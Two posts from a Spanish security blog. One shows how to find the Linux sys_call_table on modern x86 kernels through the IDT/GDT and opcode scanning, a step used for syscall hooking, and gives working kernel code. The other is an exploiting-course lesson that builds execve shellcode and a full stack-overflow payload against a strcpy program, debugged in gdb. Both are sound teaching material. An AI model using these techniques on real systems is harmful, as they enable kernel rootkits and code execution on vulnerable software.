Mostrando entradas con la etiqueta ensamblador. Mostrar todas las entradas
Mostrando entradas con la etiqueta ensamblador. Mostrar todas las entradas

jueves, 3 de enero de 2013

Encontrando la sys_call_table en kernels modernos (2.6-3.x)

Cuando busco documentación sobre LKMs (Loadable Kernel Modules) muchas veces me encuentro con documentos muy interesantes pero por desgracia bastante desactualizados, generalmente refiriéndose a kernels 2.2 y con suerte 2.4.

Como muchos sabéis la interfaz que ofrece el SO al espacio de usuario son las llamadas al sistema (syscalls) y es muy común encontrar en estos documentos ejemplos que muestran dónde están y sobre todo cómo capturarlas/hookearlas/hijackearlas.

Antiguamente la tabla de llamadas al sistema era un símbolo del kernel que era público, sólo había que importarlo en el módulo que se estuviera desarrollando y usarlo. Algo así:

extern void* sys_call_table[];

No recuerdo exactamente a partir de qué versión del kernel (2.6?), esto dejó de ser así. Los desarrolladores decidieron que tener este símbolo por ahí pululando y de tan fácil acceso daba más beneficio a los malos que a los buenos (estoy de acuerdo), así que lo quitaron. Sobra decir que esto no es una solución final, pero te quitas de por medio a las personas menos hábiles.

Dado que ese símbolo ya no está, ahora hay que buscar la tabla a mano. Durante los últimos años he visto por internet muchas formas de hacerlo:
  1. Buscar la tabla dentro del fichero System.map o /proc/kallsyms
  2. Iterar desde un símbolo del sistema en busca de la dirección de una llamada al sistema.
Vamos a describir un poco estos métodos y por qué considero que, si bien te pueden sacar del apuro, no me terminan de convencer.

Buscar la tabla dentro de System-map o /proc/kallsyms

Generalmente existe un fichero con los símbolos que el kernel exporta en /boot, con el nombre System.map-<version del kernel>. Este fichero, tiene símbolos del kernel y sus direcciones.

Me resulta curioso que, sin ser sys_call_table un símbolo exportado por el kernel, se pueda encontrar en este fichero este símbolo.

$ sudo egrep "sys_call_table" /boot/System.map-`uname -r`
c15b3020 R sys_call_table


Con esto ya tenemos solucionada la vida en principio, sólo tendríamos que meter en nuestro módulo algo como esto para poder empezar a usar la sys_call_table:

void *sys_call_table[] = (void *)0xc15b3020

Un problema que surge con este método es que si, por el motivo que sea, al kernel le da por mover la tabla (nada usual, yo nunca lo he visto), esta dirección ya no será válida y nuestro módulo petará.

Una vuelta de tuerca a esto es buscar el símbolo en el fichero que contiene los símbolos del sistema que está en ejecución, /proc/kallsyms.

$ sudo egrep "sys_call_table" /proc/kallsyms
c15b3020 R sys_call_table


Como estoy en un sistema normal se ve que ambas direcciones son la misma, pero esto no tiene por qué ser así siempre.

Un problema que tiene el buscar el símbolo en estos ficheros es que no esté, o peor aún, que realmente la tabla no se encuentre ahí (porque el sistema nos está mintiendo por ejemplo... la razón de por qué lo hace no importa).

La conclusión sobre esta técnica es que, si bien es muy rápida y simple, no me parece hacer bien las cosas.

Iterar desde un símbolo del sistema en busca de la dirección de una llamada al sistema.

Este otro método fue el primero que aprendí, en mis primeros años en la universidad. Se trata de coger un símbolo que está antes que la tabla de llamadas al sistema e ir recorriendo la memoria en busca de de la dirección de alguna llamada al sistema y entonces asumir que se ha encontrado la tabla. He visto un par de algoritmos haciendo esto, uno no lo encuentro pero recuerdo que uno de los símbolos en los que se basaba era loops_per_jiffy. El otro es éste:

while(i) {
    if (sys_table[__NR_read] == (unsigned long)sys_read) {
        sys_call_table = sys_table;
        flag = 1;
        break;
    }
    i--;
    sys_table++;
}

Previa inicialización de las variables claro.

En el sitio en que encontré esto dice lo siguiente:

This function attempts to gain access to sys_call_table by starting at the address of system_utsname. The system_utsname structure contains a list of system information and is known to exist before the system call table. Therefore, the function starts at the location of system_utsname and iterates 1,024 (MAX_TRY) times. It advances a byte every time and compares the current location with that of sys_read(), whose address is assumed to be available to the LKM. Once a match is found, the loop breaks and we have access to sys_call_table.

Muy bien, tres suposiciones, no está mal. La primera dice que se sabe que ese símbolo está antes que la tabla de llamadas al sistema. Espero que no le owneen el sistema nunca, que no pruebe en sistemas owneados, que los desarrolladores no les de por cambiar la posición de ese símbolo, que realmente ese símbolo esté siempre antes que la tabla independientemente de la compilación del kernel y también espero que al kernel no le pueda dar por cambiar la posición de estos símbolos. Bitch please...

La segunda suposición es que sys_read va a estar disponible para el LKM. Generalmente es así, no he visto nunca un sistema sin este símbolo, pero quién sabe lo que me puedo encontrar por ahí. No me gusta suponer.

La tercera suposición es que si encontramos un número que vale lo mismo que sys_read (aquí estamos tratando a sys_read como un número, un puntero) entonces es sys_read y hemos encontrado la tabla. No sé en que se basa para asegurar esto, podría aparecer el mismo número por otro motivo y la técnica no funcionaría... y además tiene toda la pinta de que depurarlo iba a ser complicado. En definitiva, este método va a funcionar muchas veces, pero es más guarro que el código de find. Y personalmente no me gusta la cantidad de situaciones en las que puede fallar.

Discutido sobre los métodos más comunes encontrados por internet, expongo aquí otro método que, si bien lo he pensado y escrito yo desde cero, me consta que no es algo genuino y que se usa por ahí. El principal problema con este método es que no es tan sencillo como los otros, sin embargo en mi opinión es mucho más estable y bonito.

Se trata de buscar la dirección de la tabla de llamadas al sistema allí en donde se encuentra, ni más ni menos. Nada de suponer cosas. Explicaré cómo funciona el método para arquitecturas x86, pero desde ya hago saber que si se quiere usar en otra arquitectura hay que saber cómo funcionan las interrupciones en la misma.

El ordenador es un cacharro que funciona con interrupciones. El hardware manda interrupciones al procesador, y también los programas para ejecutar llamadas al sistema. En GNU/Linux en concreto, las llamadas al sistema que hacen los programas de espacio de usuario se realizan mediante la instrucción int $0x80. Esta instrucción ejecuta una interrupción, el procesador se interrumpe y la manejará (en algún momento, supuesto que no esté enmascarada y bla bla bla). Para ello el procesador accede a la tabla de manejadores de interrupción, coge el manejador de la interrupción 0x80 (lo cierto es que puede haber varios manejadores y es problema de ellos reconocer a quién le toca manejarla) y ejecuta el manejador.

En el caso de Linux, la función manejadora de esta interrupción es system_call, de arch/x86/kernel/entry_32.S:

ENTRY(system_call)
    RING0_INT_FRAME
    pushl_cfi %eax
    SAVE_ALL
    GET_THREAD_INFO(%ebp)

    testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%ebp)
    jnz syscall_trace_entry
    cmpl $(nr_syscalls), %eax
    jae syscall_badsys
syscall_call:
    call *sys_call_table(,%eax,4)

    movl %eax,PT_EAX(%esp)

syscall_exit:
    LOCKDEP_SYS_EXIT
    DISABLE_INTERRUPTS(CLBR_ANY)   

    TRACE_IRQS_OFF
    movl TI_flags(%ebp), %ecx
    testl $_TIF_ALLWORK_MASK, %ecx 

    jne syscall_exit_work

restore_all:
    TRACE_IRQS_IRET
restore_all_notrace:
    movl PT_EFLAGS(%esp), %eax   
    movb PT_OLDSS(%esp), %ah
    movb PT_CS(%esp), %al
    andl $(X86_EFLAGS_VM | (SEGMENT_TI_MASK << 8) | SEGMENT_RPL_MASK), %eax
    cmpl $((SEGMENT_LDT << 8) | USER_RPL), %eax
    CFI_REMEMBER_STATE
    je ldt_ss   

restore_nocheck:
    RESTORE_REGS 4  

irq_return:
    INTERRUPT_RETURN


Puede resultar un poco lioso todo este código, pero con la cabeza fría se entiende. De todas formas he marcado en negrita lo que realmente nos interesa, la instrucción que hace uso de la tabla de llamadas al sistema. Esa instrucción call tiene hardcodeada la dirección de la sys_call_table. Si como dijimos con los métodos anteriores, al sistema le da por moverla, tiene que modificar esta instrucción por cojones. No es muy aconsejable eso de estar cambiando valores en instrucciones y en el kernel, pero es posible. Y de aquí es de donde vamos a sacar la dirección que buscamos y no de sitios que "supuestamente" la tienen.

Lo principal para conseguir esto es saber dónde y cómo buscar la función system_call(). En x86, además de los registros que todos conocemos (eax, ebx, ebp, eip, etc...), el procesador tiene otra serie de registros que son principalmente usados por el sistema y que no se puede acceder siempre, sino sólo por código que se ejecute en ring0, los programas de usuario se ejecutan en ring3. No voy a profundizar mucho más porque no viene al caso, pero si quieres obtener más información mi recomendación es mirar el manual oficial de intel, es bastante hardcore, pero ayuda mucho.

Para obtener la dirección de la función que maneja una interrupción (puede haber hasta 256), los procesadores de la familia x86 tienen un par de registros especiales (IDTR y GDTR) a los que sólo se puede acceder estando en ring0 (sólo el kernel puede, para que nos entendamos) y que contienen la dirección en memoria de dos tablas (IDT y GDT respectivamente), el propósito completo de las mismas no vamos a explicarlo aquí, pero diremos por encima que la primera (Interrupt Descriptor Table) contiene información sobre el manejador de una interrupción, sin embargo por la arquitectura de manejo de memoria de estos procesadores (segmentada y paginada), esta tabla por si sola no puede darnos la dirección de la función manejadora, sino que señala a una entrada en la GDT (Global Descriptor Table) que nos da información para saber en que segmento se encuentra el manejador que buscamos.

Se puede leer de los registros IDTR y GDTR con las instrucciones sidt y sgdt, también se puede escribir en ellos con las instrucciones lidt y lgdt pero estas no nos interesan ahora mismo. En la siguiente imagen muestro el formato y funcionamiento del IDTR, pero GDTR funciona igual.


El campo base es la dirección dónde se encuentra la tabla correspondiente a este registro y limit indica el número de entradas en total. La forma de acceder a cada una de las entradas de estas tablas es mediante el vector pasado a la instrucción int (o el que traiga si se trata de una excepción u otra interrupción no generada por el procesador sino por el hardware), en el caso de las llamadas al sistema 0x80.

A la hora de implementar esto en nuestro programa podemos optar por crearnos la estructura nosotros mismos o usar las que ya tiene definidas el kernel en arch/x86/include/asm/desc_defs.h,

struct desc_ptr {
        unsigned short size;
        unsigned long address;
} __attribute__((packed)) ;

Lo mismo podemos hacer a la hora de usar las instrucciones sidt y sgdt para inicializar estas estructuras. Podemos usar assembly inline o podemos usar las funciones que define el kernel que básicamente acaban usando el assembly inline. Están en arch/x86/include/asm/desc.h.
static inline void native_store_gdt(struct desc_ptr *dtr)
{
        asm volatile("sgdt %0":"=m" (*dtr));
}

static inline void native_store_idt(struct desc_ptr *dtr)
{
        asm volatile("sidt %0":"=m" (*dtr));
}


Edito: En un primer momento usé las funciones native_store_[ig]dt(), he comprobado que en máquina virtual no funcionan, hay que usar las funciones store_[ig]dt().

Una vez tengamos ambos registros accedemos a la entrada a la que apunta IDTR dentro de la IDT (en nuestro caso la entrada 0x80). Cada una de las entradas en la IDT puede tener uno de estos 3 formatos:
  • Task gate
  • Interrupt gate
  • Trap gate
No profundizaremos en ellos porque se sale del objetivo de este post, nos quedaremos con saber que en la entrada que a nosotros nos interesa hay un interrupt gate.



No voy a entrar a describir todos los campos, tan sólo comentaré los que nos interesan para esta tarea. El campo segment selector contiene el desplazamiento dentro de la GDT donde comienza la entrada correspondiente a esta entrada de la IDT (hace falta leerlo y pensarlo un par de veces para entenderlo). Los dos campos de offset son el desplazamiento donde se encuentra la función manejadora dentro del segmento de memoria correspondiente a esta entrada, para averiguar la base de dicho segment necesitamos la GDT y por eso las entradas en la IDT contienen información de acceso a la GDT (segment selector)

Con eso sólo tenemos el desplazamiento dentro del segmento, nos hace falta la dirección base del mismo. Esto lo obtenemos de la entrada de la GDT a la que apunta el campo base address que acabamos de ver en el registro de la IDT, cuyo formato es el siguiente.
Queda poco profesional usar imágenes con distintos formatos, lo sé, pero es lo que hay, no he encontrado ninguna imagen de Intel con el formato de las entradas de la GDT.

De estas entradas necesitamos los campos base para formar la dirección base del segmento donde se encuentra el manejador. Base address 15:00 contiene los 16 bits menos significativos de la dirección, base 31:24 los 8 bits más significativos.

De nuevo al igual que antes, podemos implementarnos nosotros mismos los accesos a estos datos (se aprende bastante) o podemos hacer uso de las funciones del kernel. En este caso de gate_offset(), get_desc_base() para obtener el desplazamiento y la base necesarios para acceder al fin la función manejadora. La dirección de la misma es base + desplazamiento (recordemos, base en la GDT y desplazamiento en la IDT). Una vez hecho esto lo que tenemos es la dirección donde se encuentra system_call (anteriormente expuesta).

Ahora podemos empezar a buscar la dirección de la sys_call_table, que está hardcodeada dentro de la instrucción call *sys_call_table(,%eax,4). No voy a liarlo más describiendo el formato de la instrucción call, tan sólo comentar que está encodeada con los bytes \xff\x14\x85\x??\x??\x??\x??, donde los bytes con \x?? son la dirección de la sys_call_table en little-endian. Desde el comienzo del código de system_call hasta el punto donde se realiza este call no existen más instrucciones que tengan este patrón así que ahora sólo tenemos que iterar por el código de la función en busca del patrón \xff\x14\x85 y coger los 4 bytes siguiente y tendremos la autentica y genuina sys_call_table :).

Después de todo este peñazo veamos el código que nos devolvería la sys_call_table (aquí faltan las cabeceras necesarias que he comentado anteriormente).

#define LINUX_SYSCALL_VECTOR (0x80)
#define CALL_PATTERN (0x0085ff14)
#define CALL_PATT_MASK (0x00ffffff)

unsigned long **getSyscallTable(void) {
    struct desc_ptr idtr, gdtr;
    struct desc_struct *idt_entry, *gdt_entry;
    u32 gate_offset, gate_base;
    u8 *syscall_desc, *call_offset;

    native_store_idt(&idtr);    native_store_gdt(&gdtr);


    store_idt(&idtr);
    store_gdt(&gdtr);

    idt_entry = (struct desc_struct *)idtr.address + LINUX_SYSCALL_VECTOR;
    gdt_entry = (struct desc_struct *)gdtr.address + gate_segment(*idt_entry);
    gate_offset = (u32)gate_offset(*idt_entry);
    gate_base = (u32)get_desc_base(gdt_entry);
    syscall_desc = (u8 *)(gate_base + gate_offset);

    call_offset = search_call_opcode(syscall_desc);
    return *(unsigned long ***)(call_offset + 3);
}


void *search_call_opcode(void *code) {
    while ((*(u32 *)(code++) & CALL_PATT_MASK ) != CALL_PATTERN);
    return --code;
}


La función getSyscallTable() que aquí muestro realiza todo este trabajo: Lee los registros IDTR y GDTR, a partir de ellos calcula dónde se encuentra system_call y posteriormente busca dentro del código el patrón \xff\x14\x85 y recoge de los siguientes 4 bytes la dirección de la sys_call_table.

Bastante más complicado que buscar el símbolo dentro de System.map o /proc/kallsyms o que iterar a partir de estructuras del kernel. Pero haciéndolo de esta forma tenemos más garantías de que vamos a recoger la verdadera dirección de la sys_call_table que está usando el kernel, incluso aunque estemos en un sistema que está raro.

¿Es este método infalible? Por supuesto... que no, se me ocurren al menos un par de situaciones dónde se podría engañar a este método, pero son demasiado rocambolescas como para describirlas aquí y tenerlas en cuenta en el programa. Situaciones donde la desconfianza en el sistema es absoluta, pero contra la desconfianza no se puede hacer nada. También el método depende de que este código no cambie e introduzca entre el comienzo de system_call y el call que buscamos el patrón en el que nos basamos, pero en caso de que ocurriera (cosa poco probable), modificar este código para manejar la situación es bastante sencillo.

Saludos.

lunes, 10 de septiembre de 2012

Minicurso de exploiting (parte 9): Inyectando código en un proceso

En la entrada anterior descubrimos gran parte del pastel que hay detrás de la explotación de los procesos. La gran conclusión fue que, si tenemos un bof, podremos sobreescribir la dirección de retorno contenida en el stack frame. Evidentemente no es algo tan sencillo en el mundo real, existen muchas protecciones que actualmente se aplican y que están orientadas únicamente a evitar la explotación de buffer overflows. Hemos comentado algunas (canaries, exec-shield, aslr...), incluso llegamos a ver que el GCC de Ubuntu utilizaba por defecto la técnica de stack-protector basada en canaries.

Es bastante jodido intentar meterse en el mundo del exploiting por cuenta propia con toda esa cantidad de protecciones usándose a la vez, y ese es precisamente uno de los principales motivos por los que estoy haciendo este curso y cómo lo estoy enfocando. Intento ir desde cómo se explotaban los programas hace años e intentaré llegar a cómo se explotan actualmente (dentro de los límites de lo que yo mismo conozco... espero que escribir esto me anime a seguir aprendiendo).

Volviendo al curso, en la última entrega hicimos algo muy simple, ejecutar una función que ya estaba en el código. Evidentemente esto no suele ser lo normal, no solemos disponer de lo que queremos ejecutar en el código de los programas. Es muy típico entre los exploiters más reconocidos del mundo hacer que sus exploits de demostración ejecuten la calculadora de Windows (cuando explotan sobre Windows claro). Ya nos estaremos imaginando que esto no es algo que lleven los programas metidos dentro, sino que de alguna forma el exploiter logra hacer que el programa explotado haga eso. Esto se consigue inyectando el código que hace ejecutar la calculadora dentro del proceso y luego llamando a ese código. ¿Y cómo se hace esto? Eso es lo que vamos a tratar en esta entrada.

Recordemos en qué punto estamos.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[128];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

Tenemos el bof de libro y sabemos que a partir del byte 141 empezaremos a sobreescribir la dirección de retorno (y si no nos acordamos pues lo miramos un momentito con el gdb y listo). Hasta ahora habíamos metido un montón de Aes hasta llegar a la dirección de retorno, pero esto cambia aquí. Ahora lo que vamos a hacer es inyectar en ese espacio el código necesario para ejecutar la calculadora y luego saltaremos ahí. Esto básicamente en la inyección de código.

¿Qué necesitamos? Bueno, pues el código que ejecute la calculadora. ¿Qué hace falta para ejecutar un programa? la llamada al sistema que lo permite, en nuestro caso es sys_execve. Nuevo grado de dificultad, ahora hay que empezar a conocer las syscalls y cómo llamarlas. Generalmente no llamamos a estas funciones directamente, sino que llamamos a funciones de bibliotecas que hacen de interfaz entre nuestros programas y el sistema. Bueno pues vamos a dejar de hacer eso por un momento y vamos a crear código que trata con el kernel directamente. Esto lo hacemos así debido a que, como vamos a inyectar ese código en otro proceso, no sabemos que bibliotecas usa y por lo tanto no podemos depender de ellas... aunque en un futuro veremos que no siempre es cierto, pero de momento vamos a trabajar así.

Para tratar con estas cosas necesitamos conocer las llamadas al sistema que nos ofrece Linux, aquí teneis una lista con las más importantes, aunque los parámetros que ahí se describen no siempre son correctos. De hecho para este primer ejemplo nos puede confundir. La llamada al sistema que necesitamos es sys_execve (la que ejecuta programas), en esa página pone que tiene un único parámetro de tipo struct pt_regs. Si nos vamos a Linux cross reference, en mi opinión, muy buena para ver el código fuente de Linux y buscamos la función sys_execve() para la versión de kernel que estoy ejecutando.

$ uname -r
3.2.0-29-generic-pae

Veremos lo siguiente.
 306long sys_execve(const char __user *name,
 307                const char __user *const __user *argv,
 308                const char __user *const __user *envp, struct pt_regs *regs)
 309{

Tiene 3 parámetros antes del struct pt_regs, la ruta del programa a ejecutar, los parámetros del mismo y el entorno. Vamos a ir conociendo qué debemos pasarle.

$ whereis gcalccmd
gcalccmd: /usr/bin/gcalccmd /usr/bin/X11/gcalccmd /usr/share/man/man1/gcalccmd.1.gz

El binario del programa está en /usr/bin/gcalccmd. He elegido este y no gcalctool (la versión gráfica) porque voy a hacer el ejemplo lo más sencillo posible, así que a la hora de ejecutar no pasaré entorno y eso dará problemas con la versión gráfica, así que me quedo con la de consola. Empecemos pues con el programa (en ensamblador :D) que ejecuta la calculadora.

.globl main

main:
    /* 
     * No sabemos la dirección de la string del final,
     * lo rellenamos con 0xff y luego miraremos dónde cae.
     */
    movl $0xffffffff, %ebx

    /* argv, envp y regs == NULL. */
    xorl %ecx, %ecx
    xorl %edx, %edx
    xorl %esi, %esi

    /* Hacemos la llamada a sys_execve. */
    movb $0xb, %al
    int $0x80

.string "/usr/bin/gcalccmd"

Aquí tenemos un ejemplo de programa en ensamblador (sintaxis AT&T) que nos sirve como esqueleto para ejecutar la calculadora. Analicémoslo un poco. Lo primero que hacemos es poner en el registro ebx el número 0xffffffff. Ebx debe contener la dirección de la string con el nombre del programa, esta string la estamos hardcodeando al final, pero dado que todo esto va a estar dentro del buffer que vamos a explotar ¡aun no sabemos la dirección exacta donde cae!. Adelanto que luego lo miraremos con el gdb. Luego se ponen a 0 los registros ecx, edx y esi (los otros 3 parámetros de sys_execve), recordemos que la operación XOR de un número consigo mismo da como resultado 0 siempre. Al final preparamos la llamada al sistema. Debido a como funcionan las llamadas al sistema en Linux (no lo explicaré aquí porque sería irse por derroteros complicados), en eax va el número de llamada al sistema a ejecutar, en nuestro caso la 11 (0xb) que es sys_execve, y la instrucción int 0x80 la ejecuta.

Esto así está muy bien, pero lo que nosotros necesitamos son los bytes que encodean ese código para meterlo en el buffer a explotar. Aquí entra en juego objdump, ¿recuerdas cómo desambla? :D.

$ gcc -o calcode calcode.s 
$ objdump -d calcode | egrep -A 10 "<main>"
080483b4 <main>:
 80483b4:    bb ff ff ff ff           mov    $0xffffffff,%ebx
 80483b9:    31 c9                    xor    %ecx,%ecx
 80483bb:    31 d2                    xor    %edx,%edx
 80483bd:    31 f6                    xor    %esi,%esi
 80483bf:    b0 0b                    mov    $0xb,%al
 80483c1:    cd 80                    int    $0x80
 80483c3:    2f                       das   
 80483c4:    75 73                    jne    8048439 <__libc_csu_init+0x59>
 80483c6:    72 2f                    jb     80483f7 <__libc_csu_init+0x17>
 80483c8:    62 69 6e                 bound  %ebp,0x6e(%ecx)

Aquí tenemos los bytes que codifican las instrucciones que necesitamos :D. Una duda que nos puede surgir aquí es ¿wtf son las instrucciones esas después de la int, la das, jne, etc? Seguro que ya lo sabes, esas instrucciones son las que interpreta objdump a partir de los bytes 0x2f, 0x75, 0x73 que hay ahí... y que en ASCII son los caracteres '/', 'u', 's'... lo has visto ya, ¿no?. "/usr/bin/gcalccmd" ;).

Ojo aquí, podemos pensar que ya podemos sustituir el 0xffffffff de ebx con la dirección 0x08483c3, que es donde empieza la string "/usr...", pero no es así. Esa dirección es donde está la string dentro del ELF que acabamos de compilar, pero no es ahí donde va a estar el código. Repito, estos bytes los inyectaremos ahora en el programa vulnerable dentro del buffer a explotar, y eso estará en otras posiciones de memoria.

Vamos ahora a hacer la explotación, inyección y ejecución del código. Vamos a verlo desde dentro del gdb y de poco en poco.

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048444 <+0>:    push   %ebp
   0x08048445 <+1>:    mov    %esp,%ebp
   0x08048447 <+3>:    and    $0xfffffff0,%esp
   0x0804844a <+6>:    sub    $0x90,%esp
   0x08048450 <+12>:    cmpl   $0x2,0x8(%ebp)
   0x08048454 <+16>:    je     0x8048478 <main+52>
   0x08048456 <+18>:    mov    0xc(%ebp),%eax
   0x08048459 <+21>:    mov    (%eax),%edx
   0x0804845b <+23>:    mov    $0x8048570,%eax
   0x08048460 <+28>:    mov    %edx,0x4(%esp)
   0x08048464 <+32>:    mov    %eax,(%esp)
   0x08048467 <+35>:    call   0x8048340 <printf@plt>
   0x0804846c <+40>:    movl   $0xffffffff,(%esp)
   0x08048473 <+47>:    call   0x8048370 <exit@plt>
   0x08048478 <+52>:    mov    0xc(%ebp),%eax
   0x0804847b <+55>:    add    $0x4,%eax
   0x0804847e <+58>:    mov    (%eax),%eax
   0x08048480 <+60>:    mov    %eax,0x4(%esp)
   0x08048484 <+64>:    lea    0x10(%esp),%eax
   0x08048488 <+68>:    mov    %eax,(%esp)
   0x0804848b <+71>:    call   0x8048350 <strcpy@plt>
   0x08048490 <+76>:    mov    $0x0,%eax
   0x08048495 <+81>:    leave 
   0x08048496 <+82>:    ret   
End of assembler dump.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) run `perl -e 'print "\xbb\xff\xff\xff\xff\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\xee\xee\xee\xee"'`
Starting program: /path/bof `perl -e 'print "\xbb\xff\xff\xff\xff\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\xee\xee\xee\xee"'`

Breakpoint 1, 0x0804848b in main ()

Sí, escribir ese chorro de bytes ha resultado un coñazo. Ya mostraré más adelante truquillos para no perder tanto tiempo, pero hay que hacerlo una primera vez para ver lo que estamos haciendo. Dado que necesitamos 140 bytes antes de empezar a sobreescribir la dirección de retorno (la cuál ahora mismo no sabemos cual es así que he puesto 0xeeeeeeee), y que el código que queremos ejecutar ocupa sólo 33 bytes (incluyendo string) pues he rellenado con 107 Aes. He parado el programa justo antes del strcpy() para ver las direcciones que tenemos que cambiar.

(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff560    0x00000001    0xb7ebc1f9
0xbffff290:    0xbffff2cf    0xbffff2ce    0x00000000    0xb7ff3fdc
0xbffff2a0:    0xbffff354    0x00000000    0x00000000    0xb7e59053
0xbffff2b0:    0x08048278    0x00000000    0x2cb43049    0x00000001
0xbffff2c0:    0xbffff539    0x0000002f    0xbffff31c    0xb7fc6ff4
0xbffff2d0:    0x080484a0    0x08049ff4    0x00000002    0x0804831d
0xbffff2e0:    0xb7fc73e4    0x0000000a    0x08049ff4    0x080484c1
0xbffff2f0:    0xffffffff    0xb7e591a6    0xb7fc6ff4    0xb7e59235
0xbffff300:    0xb7fed270    0x00000000    0x080484a9    0xb7fc6ff4
0xbffff310:    0x080484a0    0x00000000    0x00000000    0xb7e3f4d3

El buffer se encuentra en la dirección 0xbffff290, ahí es donde se inyectará nuestro código. Es ahora cuando calculamos en dónde va a caer "/usr/bin/gcalccmd", esta string tiene 15 bytes de desplazamiento con respecto al primer byte de nuestro código, así que caerá en 0xbffff290 + 0xf = 0xbffff29f. Ya tenemos las dos direcciones que nos hacen falta, la de la string y la de comienzo del código, volvamos a ejecutar el programa cambiando esos valores.

(gdb) run `perl -e 'print "\xbb\x9f\xf2\xff\xbf\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\x90\xf2\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /path/bof `perl -e 'print "\xbb\x9f\xf2\xff\xbf\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\x90\xf2\xff\xbf"'`

Breakpoint 1, 0x0804848b in main ()

Ojo con el orden de los bytes, recuerda que estamos en x86 que es little endian. Lo vimos en la entrada anterior.

(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff560    0x00000001    0xb7ebc1f9
0xbffff290:    0xfff29fbb    0x31c931bf    0xb0f631d2    0x2f80cd0b
0xbffff2a0:    0x2f727375    0x2f6e6962    0x6c616367    0x646d6363
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff300:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff310:    0x41414141    0x41414141    0x90414141    0x00bffff2

Aquí ya se ha realizado el strcpy(), y sin necesidad de seguir ejecutando deberíamos darnos cuenta de que la ejecución no va a funcionar. La dirección de retorno ha sido modificada por 0x00bffff2 y no por 0xbffff290 como queríamos. El siguiente paso más lógico sería pensar que soy un paquete y no se restar bien, lo cual no deja de ser cierto, pero no es eso lo que está pasando. Lo que de verdad nos está ocurriendo es que perl se nos está comiendo un byte (y con razón, que conste). Cuando hemos ejecutado el comando estamos haciendo concatenaciones de strings (operador '.'), la primera string (que contiene el código y "/usr/bin..." todo seguido) termina en '\x00', caracter terminador de strings y que a la hora de concatenar será pisado por el primer caracter de la siguiente string, una 'A'. Fijémonos justo donde empiezan a haber Aes (byte 0x41) y veremos que efectivamente no aparece el byte 0x00, está resaltado en violeta.

Podemos pensar en meter 108 Aes para conseguir un byte más y que así la dirección de retorno sea la que queremos, pero esto tampoco nos vale. Es cierto que así conseguiríamos saltar al código y empezar a ejecutarlo, pero entonces la string que le pasaríamos a sys_exeve no sería "/usr/bin/gcalccmd" sino "/usr/bin/gcalccmd<108 Aes><4 bytes de basura>". Sobra decir que no tenemos un binario llamado así.

Aquí tenemos dos soluciones (que se me ocurran), una es crear un enlace simbólico a gcalccmd con el nombre extraño que hemos descrito. Sobra decir que esta solución es feísima y poco práctica, pero sobre todo feísima. La otra solución es meter en nuestro código lógica adicional para que nos ponga un byte 0x00 justo donde queremos. Mucho más elegante. Volvamos entonces a nuestro pequeño programa en ensamblador y modifiquémoslo para este cometido.

.globl main

main:
    /* Poner un nulo al final de la string. */
    movb $0x00, (0xdddddddd)

    /*
     * No sabemos la direccion de la string del final,
     * lo rellenamos con 0xff y luego miraremos donde cae.
     */
    movl $0xffffffff, %ebx

    /* argv, envp y regs == NULL. */
    xorl %ecx, %ecx
    xorl %edx, %edx
    xorl %esi, %esi

    /* Hacemos la llamada a sys_execve. */
    movb $0xb, %al
    int $0x80

.string "/usr/bin/gcalccmd"

Ya lo tenemos, simplemente ponemos un 0 en la zona de memoria apuntada por 0xdddddddd, que luego cambiaremos por la dirección de verdad. Volvemos a mirar con objdump los bytes de nuestro código.

$ gcc -o calcode calcode.s 
$ objdump -d calcode | egrep -A 20 "<main>"
080483b4 <main>:
 80483b4:    c6 05 dd dd dd dd 00     movb   $0x0,0xdddddddd
 80483bb:    bb ff ff ff ff           mov    $0xffffffff,%ebx
 80483c0:    31 c9                    xor    %ecx,%ecx
 80483c2:    31 d2                    xor    %edx,%edx
 80483c4:    31 f6                    xor    %esi,%esi
 80483c6:    b0 0b                    mov    $0xb,%al
 80483c8:    cd 80                    int    $0x80
 80483ca:    2f                       das   
 80483cb:    75 73                    jne    8048440 <__libc_csu_init+0x60>
 80483cd:    72 2f                    jb     80483fe <__libc_csu_init+0x1e>
 80483cf:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483d2:    2f                       das  
 80483d3:    67 63 61 6c              arpl   %sp,0x6c(%bx,%di)
 80483d7:    63 63 6d                 arpl   %sp,0x6d(%ebx)
 80483da:    64 00 90 90 90 90 90     add    %dl,%fs:-0x6f6f6f70(%eax)

